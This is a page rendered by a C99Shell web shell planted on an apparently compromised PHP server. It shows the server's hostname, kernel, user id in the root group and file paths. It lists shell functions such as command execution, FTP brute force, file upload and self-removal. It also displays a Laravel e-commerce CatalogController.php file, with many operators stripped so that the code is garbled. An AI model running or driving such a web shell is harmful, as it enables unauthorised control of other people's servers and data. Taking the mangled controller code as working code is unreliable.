!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Front/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CatalogController.php (8.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Front;

use 
Illuminate\{
    
Http\Request,
};

use 
App\{
    
Models\Item,
    
Models\Category,
    
Http\Controllers\Controller,
};
use 
App\Helpers\PriceHelper;
use 
App\Models\Attribute;
use 
App\Models\AttributeOption;
use 
App\Models\Brand;
use 
App\Models\ChieldCategory;
use 
App\Models\Setting;
use 
App\Models\Subcategory;
use 
Illuminate\Support\Facades\Session;

class 
CatalogController extends Controller
{
    public function 
__construct()
    {
        
$this->middleware('localize');
    }

    public function 
index(Request $request)
    {

        
// attribute search
        
$attr_item_ids = [];
        if(
$request->attribute){
            
$attrubutes_get Attribute::where('name',$request->attribute)->get();
            foreach(
$attrubutes_get as $attr_item_id){
                
$attr_item_ids[] = $attr_item_id->item_id;
            }
        }

        
$option_attr_ids = [];

        if(
$request->option){
            
$option_get AttributeOption::whereIn('name',explode(',',$request->option))->get();
            foreach(
$option_get as $option_attr_id){
                
$option_attr_ids[] = $option_attr_id->attribute_id;
            }
        }


        
$option_wise_item_ids = [];
        foreach(
Attribute::whereIn('id',$option_attr_ids)->get() as $attr_item_id){
            
$option_wise_item_ids[] = $attr_item_id->item_id;
        }
        
$setting Setting::first();

        
$sorting $request->has('sorting') ?  ( !empty($request->sorting) ? $request->sorting null ) : null;
        
$new $request->has('new') ?  ( !empty($request->new) ? null ) : null;
        
$feature $request->has('quick_filter') ?  ( !empty($request->quick_filter == 'feature') ? null ) : null;
        
$top $request->has('quick_filter') ?  ( !empty($request->quick_filter == 'top') ? null ) : null;
        
$best $request->has('quick_filter') ?  ( !empty($request->quick_filter == 'best') ? null ) : null;
        
$new $request->has('quick_filter') ?  ( !empty($request->quick_filter == 'new') ? null ) : null;
        
$brand $request->has('brand') ?  ( !empty($request->brand) ? Brand::whereSlug($request->brand)->firstOrFail() : null ) : null;
        
$search $request->has('search') ?  ( !empty($request->search) ? $request->search null ) : null;

        
$category $request->has('category') ? ( !empty($request->category) ? Category::whereSlug($request->category)->firstOrFail() : null ) : null;
        
$subcategory $request->has('subcategory') ? ( !empty($request->subcategory) ? Subcategory::whereSlug($request->subcategory)->firstOrFail() : null ) : null;
        
$childcategory $request->has('childcategory') ? ( !empty($request->childcategory) ? ChieldCategory::where('slug',$request->childcategory)->first() : null ) : null;
        
$minPrice $request->has('minPrice') ?  ( !empty($request->minPrice) ? PriceHelper::convertPrice($request->minPrice) : null ) : null;
        
$maxPrice $request->has('maxPrice') ?  ( !empty($request->maxPrice) ? PriceHelper::convertPrice($request->maxPrice) : null ) : null;
        
$tag $request->has('tag') ?  ( !empty($request->tag) ? $request->tag null ) : null;
        
$items Item::with('category')
        ->
when($category, function ($query$category) {
            return 
$query->where('category_id'$category->id);
        })
        ->
when($subcategory, function ($query$subcategory) {
            return 
$query->where('subcategory_id'$subcategory->id);
        })
        ->
when($childcategory, function ($query$childcategory) {
            return 
$query->where('childcategory_id'$childcategory->id);
        })

        ->
when($feature, function ($query) {
            return 
$query->whereIsType('feature');
        })

        ->
when($tag, function ($query$tag) {
            return 
$query->where('tags''like''%' $tag '%');
        })
      

        ->
when($new, function ($query) {
            return 
$query->orderby('id','desc');
        })
        ->
when($top, function ($query) {
            return 
$query->whereIsType('top');
        })
        ->
when($best, function ($query) {
            return 
$query->whereIsType('best');
        })
        ->
when($new, function ($query) {
            return 
$query->whereIsType('new');
        })

        ->
when($brand, function ($query$brand) {
            return 
$query->where('brand_id'$brand->id);
        })
        ->
when($search, function ($query$search) {
            return 
$query->whereStatus(1)->where('name''like''%' $search '%')->orwhere('name''like''%' $search '%');
        })
        ->
when($minPrice, function($query$minPrice) {
          return 
$query->where('discount_price''>='$minPrice);
        })

        ->
when($maxPrice, function($query$maxPrice) {
          return 
$query->where('discount_price''<='$maxPrice);
        })

        ->
when($sorting, function($query$sorting) {
            if(
$sorting == 'low_to_high'){
                return 
$query->orderby('discount_price','asc');
            }else{
                return 
$query->orderby('discount_price','desc');
            }

        })

        ->
when($attr_item_ids, function($query$attr_item_ids) {
          return 
$query->whereIn('id',$attr_item_ids);
        })
        ->
when($option_wise_item_ids, function($query$option_wise_item_ids) {
          return 
$query->whereIn('id',$option_wise_item_ids);
        })

        ->
where('status',1)

        ->
orderby('id','desc')->paginate($setting->view_product);

     
        
$attrubutes_check =[];
       
        
$options AttributeOption::groupby('name')->select('attribute_id','name','id','keyword')->get();
        
        foreach(
$options as $option){
            if(!
in_array(Attribute::withCount('options')->findOrFail($option->attribute_id)->keyword,$attrubutes_check)){
                
$attrubutes_check[] = Attribute::withCount('options')->findOrFail($option->attribute_id)->keyword;
            }
        }

        
        
$attrubutes = [];

        foreach(
$attrubutes_check as $attr_new_get){
            
$attrubutes[] = Attribute::whereKeyword($attr_new_get)->first();
        }
      
        
$blade 'front.catalog.index';

        if(
$request->view_check){
            
Session::put('view_catalog',$request->view_check);

        }

        if(
Session::has('view_catalog')){
            
$checkType Session::get('view_catalog');
            
$name_string_count 55;
        }else{
            
Session::put('view_catalog','grid');
            
$checkType Session::get('view_catalog');
            
$name_string_count 38;
        }


        if(
$request->ajax()) $blade 'front.catalog.catalog';

        return 
view($blade,[
            
'attrubutes' => $attrubutes,
            
'options' => $options,
            
'brand' => $brand,
            
'brand' => $brand,
            
'brand' => $brand,
            
'items' => $items,
            
'name_string_count' => $name_string_count,
            
'category' => $category,
            
'subcategory' => $subcategory,
            
'childcategory' => $childcategory,
            
'checkType'  => $checkType,
            
'brands' => Brand::withCount('items')->whereStatus(1)->get(),
            
'categories' => Category::whereStatus(1)->orderby('serial','asc')->withCount(['items' => function($query) {
                
$query->where('status',1);
            }])->
get(),
        ]);
    }


    public function 
viewType($type)
    {
        
Session::put('view_catalog',$type);
        return 
response()->json($type);
    }


    public function 
suggestSearch(Request $request)
    {
        
$category null;
        if(
$request->category){
            
$category Category::whereSlug($request->category)->first();
        }
        
$search $request->search;
        
$items Item::whereStatus(1)
        ->
when($search, function ($query$search) {
            return 
$query->where('name''like''%' $search '%')->orderby('id','desc')->take(10);
        })
        ->
when($category, function ($query$category) {
            return 
$query->where('category_id'$category->id);
        })
        ->
get();

        return 
view('includes.search_suggest',compact('items'));
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--